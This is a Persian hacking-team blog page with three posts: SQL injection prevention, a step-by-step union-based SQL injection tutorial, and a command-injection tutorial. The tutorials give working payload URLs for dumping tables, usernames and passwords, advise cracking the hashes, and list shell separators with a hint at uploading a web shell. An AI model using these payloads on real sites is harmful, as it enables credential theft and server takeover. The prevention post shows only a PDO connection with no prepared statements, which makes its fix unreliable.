تیم سایبری محمد رسول الله

خانه درباره ما تماس با ما shell package <tel> کانال <tel/>

۸ مطلب در تیر ۱۴۰۰ ثبت شده است

اموزش جلوگیری از باگ sql injection در وردپرس و php

به نام خدا

 

همونطور که در مطلب قبلی اشاره کردیم باگ sql injection بشدت فراگیر و خطرناک هست در همین جهت تصمیم گرفتیم در یک مطلب جداگانه روش کامل جلوگیری یا پچ کردن باگ sql injection رو بگیم

 

 

جلوگیری از باگsql injectin  در php :

برای پچ این باگ در php باید با استفاده از کتابخانه PDO ( php Database Opject) این کتابخانه علاوه بر امکانات امنیتی امکانات بسیار دیگری دارد که در ادامه خواهیم گفت

اتصال به دیتابیس در این کتابخانه خیلی راحته و با یک خط کد میشه این رو نوشت همچنین اگر در بین کار مجبور شدید سرور و دیتابیس خودتون رو تغییر بدین فقط و فقط با تغییر خط کد میتونید این کارو کنید

به عنوان مثال برای اتصال به دیتابیس در PDO باید مثل کد زیر عمل کنیم

 

$connection = new PDO('mysql:host=host;dbname=Database','username', 'password');

 

اینجا یک متغییر تعریف کردیم و یک کانکشن جدید ساختیم که سه تا ورودی می گیره اولین ورودی که نوع دیتابیس شما هست که داخل ورودی اول دو پارامتر میگیره که اولین پارامترش نوع دیتابیس هست دومین هم نام سرور و سومین پارامترش هم اسم دیتا بیسمون هست

در ورودی دوم یوزرنیم دیتابیس و در ورودی سوم هم پسورد رو میگیره

که نمونه کامل ترش رو برای مای اسکیوال می تونید ببینید

 

$connection = new PDO('mysql:host=localhost;dbname=opensecurity','root', 'root');

 

در پایین هم یک تیکه کد برای مثال از اتصال و کنترل ارور های اتصال در این کتابخانه رو می بینید

 

<?php
$servername = "localhost";
$username = "username";
$password = "password";

try {
  $conn = new PDO("mysql:host=$servername;dbname=myDB", $username, $password);
  // set the PDO error mode to exception
  $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  echo "Connected successfully";
} catch(PDOException $e) {
  echo "Connection failed: " . $e->getMessage();
}
?>

 

 

 

جلوگیری از باگ sql injection در سیستم مدیریت محتوای وردپرس :

خوشبختانه خود هسته وردپرس همچین باگی رو نداره اما ممکنه پلاگین ها و قالب هایی که نصب میکنید این باگ رو در ورودی هایی که میگیرن داشته باشن در همین جهت باید در نصب پلاگین ها وقالب ها دقت کنید که باگ نداشته باشن

اما اگر افزونه یا قالبی بود که باگ رو داشت و نمی خواستین حذفش کنین باید از پلاگین امنیتی wordfence استفاده کنین چون این پلاگین تمام ورودی ها رو قبل از تحلیل شدن اسکن میکنه و اگه مخرب باشن از اجرا شون جلوگیری میکنه که این خودش میتونه چندین باگ رو برطرف کنه علاوه براین وردفنس فایل های موجود رو هم اسکن میکنه و اگر پلاگین یا هر چیز الوده دیگه ای باشه اون رو حذف می کنه که این هم خیلی خوبه چون مثل یک انتی ویروس عمل می کنه همچنین میتونه تا حدی جلو اسپم ها و حملات دیداس رو بگیره و کمک زیادی به سایت شما می کنه و در کل افزونه امنیتی کامل و جامعی هست که به مدیران وبسایت ها این رو توصیه می کنیم

 

اگر هر سوالی داشتین در بخش نظرات بگین تا پاسخگو باشیم

اگر ایراد یا مشکلی هم در مطلب بود حتما در بخش نظرات بگین

۲۳ تیر ۰۰ ، ۱۷:۳۹ ۰ نظر

اموزش کامل باگ sql injection

به نام خدا

با یه قسمت دیگه از دوره تست نفوذ وب در خدمتتون هستیم در این قسمت با ام اموزش کامل باگ sql injection در خدمتتون هستیم

باگ sqli چیست؟

این باگ از طریق ورودی ها که معمولا از نوع گت هستن و هیچ فیلترینگی روشون انجام نمیشه بوجود میاد که باعث اجرا دستورات sql در پایگاه داده هامون میشه که خیلی خطرناکه و کوچک ترین کاری که میشه انجام داد خوندن یوزر نیم و پسورد ادمین هست

 

 

چرا بصورت دستی طزریق رو انجام بدیم؟

چون در روش های دستی بایپس هایی هست که میشه waf ها که در ورودی ها فیلترینگ میزارن رو دور زد!

 

چرا باگ sql injection :

این باگ سطح دسترسی بالایی داره و خیلی از سایت ها حتی بعضی از cms ها هم این باگ رو دارن و خیلی مورد استفاده قرار میگیره

اموزش کامل باگ sql injection :

تست باگ :

بعد از عدد موجود تک کوتیشن میزاریم مثل زیر

         

example.com/index.php?id=1    >>>    exaple.com/index.php?id=1'

اگر سایت خراب لود شد یا ارور مای اسکیوال داد (واکنشی نشون داد) یعنی باگ داره

 

 

 

استخراج تعداد دیتا بیس:

باید عبارت order by

رو به اخر ادرس سایت اضافه کنیم و در اخر هم از بزرگ به کوچک به صورت حدسی تعداد دیتابیس هارو تست کنیم هروقت سایت بدون ارور لود شد به تعداد همان عدد ی که گذاشتین(بزرگ ترین عددی که کامل لود میشه!) دیتابیس داره و در اخر هم

 --+ رو اضافه میکنیم

        

  example : >>>    example.com/index.php?id=1+order+by+20--+  >>>  example.com/index.php?id=1+order+by+8--+  

 

استخراج دیتابیس های اسیب پذیر:

به عنوان مثال ما هشت دیتابیس داریم که برای دیدن دیتابیس اسیب پذیر باید اون هارو مانند زیر به ترتیب بنویم

         

 example:    >>>    example.com/index.php?id=1+union+select+1,2,3,4,5,6,7,8

حالا دیتابیس های اسیب پذیر رو نشون میده

 

استخراج نام و ورژن دیتا بیس:

 

باید به جای عدد دیتابیس های اسیب پذیر برای ورژن از

          version()

 و برای نام دیتا بیس هم

          database()

رو میزاریم

 

 

استخراج جداول موجود در دیتابیس اسیب پذیر:

ابتدا به جای دیتا بیس اسیب پذیر

group_cocat(table_name)

و در اخر هم برای اینکه جداول رو بخونیم باید اون هارو از information_schema.tables ایمپورت کنیم برای همین این کد را به خط اضافه میکنیم

from information_scema.tables

حالا تمام جداول رو نشون میده ولی ما جداول موجود در دیتا بیس اسیب پذیر رو میخوایم برای همین از دستور شرطی where استفاده میکنیم و میگیم جداول موجود در دیتابیس مورد نظرمون رو میخوایم پس باید دستور زیر روهم اضافه کنیم

Where table_schema=database()

دستور کلی مون به شکل زیر میشه (اگر دیتابیس 3 اسیب پذیر باشه)

example.com/index.php?id=1+union+select+1,2,group_concat(table_name),4,5,6,7,8+from+information_schema.tables+where+table_schema=database()

 

حالا اسم جداول رو نشونمون میده که باید جدول مهم رو انتخاب کنیم (به عنوان مثال users)

 

استخراج اطلاعات از جداول دیتابیس های اسیب پذیر :

باید در گروپ کانکت بجای (table_name) ,(column_name) رو قرار بدیم

و قبل از where هم به جای .tables باید columns رو قرار بدیم

همچنین بعد از where هم بجای table_schema باید table_name بزاریم در اخر هم به جای دیتابیس باید اسم جدولی که انتخاب کردین رو داخل تک کوتیشن بزارین

دستور کلی مون به شکل زیر میشه:

example.com/index.php?id=1+union+select+1,2,group_concat(column_name),4,5,6,7,8+from+information_schema.columns+where+table_name=’users’

حالا لیست ستون ها رو نشونمون میده

برای استخراج اطلاعات ستون ها باید اسم جدول رو یه جا کپی کنیم و تا بعد از دستور from رو پاک کنیم و بجاش اسم جدول رو بزاریم

داخل گروپ کانکت هم باید بجای column_name ستون هایی رو که میخواییم رو بهش بدیم (مثلا ما یوزر و پسورد رو انتخاب میکنیم) برای اینکه دو تا ستون رو با کارکتر های مختلف از جدا کنیم باید هگز شده اون کاراکتر هارو بین دو تا ستون بزاریم(مثلا هگز شده دو نقطه میشه 0x3a)

دستور کلی ما به شکل زیر میشه:

example.com/index.php?id=1+union+select+1,2,group_concat(user,0x3a,passwords),4,5,6,7,8+from+users

حالا یوزر ها و پسورد ها رو نشون میده فقط برای امنیت پسورد هارو هش میکنه که میتونید با ابزار های انلاین هش رو بشکنین

 

 

بایپسwaf ها :

بایپس های زیادی برای این باگ وجود داره که در یک مطلب دیگه در اختیارتون میزاریم

 

پچ کردن باگ sql injection :

چونکه برای پچ این باگ نیاز به پلاگین ها و دستورات php بود اون رو داخل این مطلب گفتیم

 

تیم ما هیچگونه مسئولیتی در قبال سوء استفاده برخی افراد ندارد و این اموزش فقط جنبه اگاهی از نحوه انجام اینگونه حملات بود و بزودی نحوه پچ کردن باگ رو قرار میدیم

۲۱ تیر ۰۰ ، ۱۲:۱۶ ۰ نظر

اموزش باگ Rce + پچ کردن

به نام خدا

با یک قسمت دیگه از دوره اموزشی وب هکینگ در خدمتتون هستیم و قراره یک باگ خیلی خفن ساده و کاربردی رو بگیم

 

باگ rce چیست ؟

باگ rce جزو پر خطر ترین باگ ها محسوب میشه چون تمام دستورات سیستمی با دسترسی بالا ران میشه.

باگ RCE مخفف Remote Code Execution هست که متاسفانه در حال گسترش هست که توی این مطلب میخوایم روش نفوذ با باگ rce و پچ کردن با rce رو با هم یاد بگیریم

 

 

نفوذ به سیستم با باگ rce :

ما برای مثال روی یک سایتی که پینگ ایپی و سایت ها رو میگیره تست میکنیم

یعنی داخل اسکریپتش گفته شده هر ورودی که وارد شد رو بعد از دستور ping بزار و اون رو داخل ترمینال ران کن و خورجی رو نمایش بده

خب تا اینجا که باگی نیست اما میتونیم داخل ترمینال یا cmd دو دستور رو داخل یک خط وارد کنیم! و اینجا مشکل کاره J مثلا ما ادرس opensec.blog.ir رو بهش میدیم و اون دستور زیر رو داخل خط فرمان اجرا میکنه

Ping opensec.blog.ir

اما اگر این دستور رو با کاراکتر های مختلفی نظیر:

 

'|'
'||'
' | '
' || '
' |'
'&'
'&&'
';'
'$'
برای مشخص شدن فاصله ها اون هارو داخل تک کوتیشن قرار دادم خودتون هم میتونید دو طرف وسط یا... هم فاصله بزارین و تست کنین

این کامند ها کامل نیستن و کامند های دیگه ای هم هست

 

 

از هم جدا کنیم و بعدش دستور خودمون رو وارد کنیم مثل نمونه زیر اون هر دو تا رو اجرا میکنه

Opensec.blog.ir|dir

و خروجی که تون به خط فرمان میده به شکل زیره:

Ping opensec.blog.ir|dir

خروجی که به ما میده به این صورته که اول نتیجه پینگ رو نشون میده و بعد از اون اگه سیستم ویندوزی باشه لیست فایل های داخل مسیر رو نشون میده حالا اگه ما به جای این دستور ساده بادستور ویگت شل خودمون رو اپلود کنیم و از کل سرور دسترسی بگیریم چی؟ اون موقع دیگه تمام سرور هم ممکنه با سیملینک هک بشه و تمام سایت های روی سرور در خطر ان

 

اموزش پچ کردن باگ rce :

در این باگ هم شما باید ورودی ها رو کنترل کنین مثلا تعریف کنین که فلان ورودی ها غیر مجازن و بگین مثلا ورودی که میگیره از n کاراکتر بیشتر نباشه یا ورودی که میگیره n بخش بیشتر نباشه  یا یک لیست سفید تعریف کنیم و بگیم اگر غیر از این هم بود دستور ران نشه و هزاران فیلتر دیگه که میشه روی ورودی ها اعمال کرد

 

تیم ما هیچ گونه مسئولیتی در قبال سوء استفاده برخی افراد ندارد

اگر سوالی داشتین یا مطلب مشکلی داشت حتما در بخش نظرات به اشتراک بزارین

۱۷ تیر ۰۰ ، ۱۳:۴۶ ۰ نظر